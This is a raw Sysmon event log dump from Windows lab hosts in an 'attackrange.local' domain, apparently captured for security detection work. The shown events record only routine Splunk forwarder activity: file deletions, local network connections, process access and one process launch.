Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6CB01E8CD54CEAF3AB8527518D26157A,SHA256=062E9EFD889B8FF52733B7694650A8A192FF7803E492AA86AD2A8ECC529A5CF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014157Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:05.459{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C7B954EF3E5FD21B14C31CAED966F90E,SHA256=D4ECE2F6E504BBB75EE2BA3B8C9253D732EA2CFBB4316B7D8A92F358534D3E3C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014159Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:06.475{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4938F83D7CD0CAA5713940205786247A,SHA256=4C767F7E55386BF0FBFD6E857B28342A3BCF8DAEC49496951C014D097236E560,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000045999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:04.446{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59278-false10.0.1.12-8000- 354300x800000000000000014158Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:04.429{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50136-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014160Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:07.490{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=371CB8CF10FDDFF7E5907522963D713F,SHA256=AAC18FBE28D5AE1D70C96185803E40AD22B867682B0D0E43D50D64D122C3F096,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:07.175{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8D2EF9CB180A1321EA768ADD4C50D36C,SHA256=C35570F76EC76907BA16D6714E7F72209EC8A736E564FD83C7CCF8792BF4CC69,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014161Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:08.537{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AED15FFF8314CFDF0764C59F1EEBAAAC,SHA256=FF707A0982B4AA4084DCA9F54E56A84DBA76CC5C2F20247A60D52AD580FF5BE8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:08.175{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2BB5A81B039D0F23DC10492DBAF1CBF2,SHA256=7CBCFC27A72539D43DA6ED094CB0C76462745182D0618D7D194B50383232847A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014162Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:09.553{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=83CBFCB13CCE7B7ABFA7B088E9F6D623,SHA256=E276C14DC7DE3B3723D89EC0A6138BAD2E6218690271F29A369EBA542B0BF3D6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:09.254{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EBEE9D6C5F8EFAE30639A3B6D20C47B0,SHA256=5CBFF6C2E6A0CD0EA775244DCB2128A65E30AA855C4A2DC26091764177169395,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014163Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:10.560{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F1C5CDD18A832DE83A91807BD2649E2,SHA256=D6F967B9CF913A6CE42B044271FDA2A35224790144FD117FAB3BD27555C133C5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:10.285{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E7F02800AC3E5A07BE3D6BF336148157,SHA256=5C9835CA45759D62564B69A3B5D0D4EA721FA75080B61B2B804678C584D4E2CA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014165Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:11.591{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D2585E62C850D1CD119FB5AE5AE01B57,SHA256=AE7247FA8B7FE00C5B7120C34C649D28C92972E11051BC7CF2B5DD576398E030,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:11.299{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1359D017FEA3FD62790D1094C70C2B7F,SHA256=764FB9E170DBCCD6FA1EA66AAB6DEC8068717021A045FDDBD78DA6C101BC27C9,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014164Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:09.570{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50137-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014166Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:12.623{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD944FAD4920CCC4DBF69986A4A1B03D,SHA256=8A79208FA87DF33B565E7852C78B6A730F753C1071EBE15A38954D21109F0D12,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:10.460{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59279-false10.0.1.12-8000- 23542300x800000000000000046005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:12.315{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B85338CA0EA923DB69E4A4F346ABC400,SHA256=614A32C04B55ABF9A2874978978D6CF012DF32808D53A8AA488C40A9008C9D04,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014167Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:13.638{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2FE4D5D5A2CF89590244FFE548ED55F9,SHA256=F6737DB1141043F50554FABAABE5FA3BC694FDD0E0FA7DA20DA866D9968DC647,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:13.549{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A8C6CE5FA94665655E398B5058C63AE,SHA256=CD5AF1EA76FB8370376E2B42650846759D2C411204BB2AAF18AE557310560A1D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:14.643{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=76B21D2E8932E76F15D1273DA3B2C100,SHA256=65ABE18B6464000AFD7C5E16F4F628AD50EEABB0DE6BC11FD3DC9F42E53C341B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014168Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:14.732{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E0A174B1FFA5BA7B29FB30EC4AD636ED,SHA256=A1A0177CED893BEF1612CF2085D3194891B1B8D74A92F1005E1A72E5D1415FF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014169Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:15.748{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=24A8D4205888340D5C9E1FF3EC05662E,SHA256=E159129ECFFC31CDBEA288A01DBAF7C45CE8200F14ADC889A9F25D0E61817B1A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:15.721{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5BD1DAE8C39F9A256089D82BE4A18169,SHA256=D256F2D7236F36FB7243991DB9CDF3E83289D7A35C04D965088644054D740A0B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014171Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:16.748{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C2E6E7636F769B06D1972C6444FF744,SHA256=AE6F90781E057893A6EBEC34A438BD3892C2D4C0037B51A96990EFE0C62563D3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:16.769{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A467BEBCCD3DE03A52A563DC1E66273,SHA256=B3CEA222F42714301897ED8E3D2529644CDD35800A1E41D83D5003032ED486C9,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014170Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:14.577{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50138-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014172Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:17.779{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F0A0375828D180529DC8C8F57266936,SHA256=E1F9A36D87CD0E550F027996F0DC26155DF4F02CF8BDD326E487716587F8B9F5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.878{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=85B606639DD0822B7349CA85016CF0C1,SHA256=37DDF2E90D5120818BFDDB88911F6585370E7135AA7211BF3EDC0D849ABB7FA0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.643{7BD73061-6FB9-613B-EA0A-00000000F001}64526944C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.471{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FB9-613B-EA0A-00000000F001}6452C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.471{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.471{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.471{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6FB9-613B-EA0A-00000000F001}6452C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.471{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.471{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.471{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FB9-613B-EA0A-00000000F001}6452C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:17.472{7BD73061-6FB9-613B-EA0A-00000000F001}6452C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.940{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F33327DB92179078034F12F8E5902DB6,SHA256=67A6B440DA56B5D12D81D12968E87A8014E0BE28BCD38E7D39685764863CF01D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014173Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:18.841{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=444304B638A711BCE706563BEF586A38,SHA256=42D0F2BAC96AF1F056405D789285F313151268F1E8809D27C2BB48ACAE2A26C1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.643{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FBA-613B-EC0A-00000000F001}4908C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:18.643{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 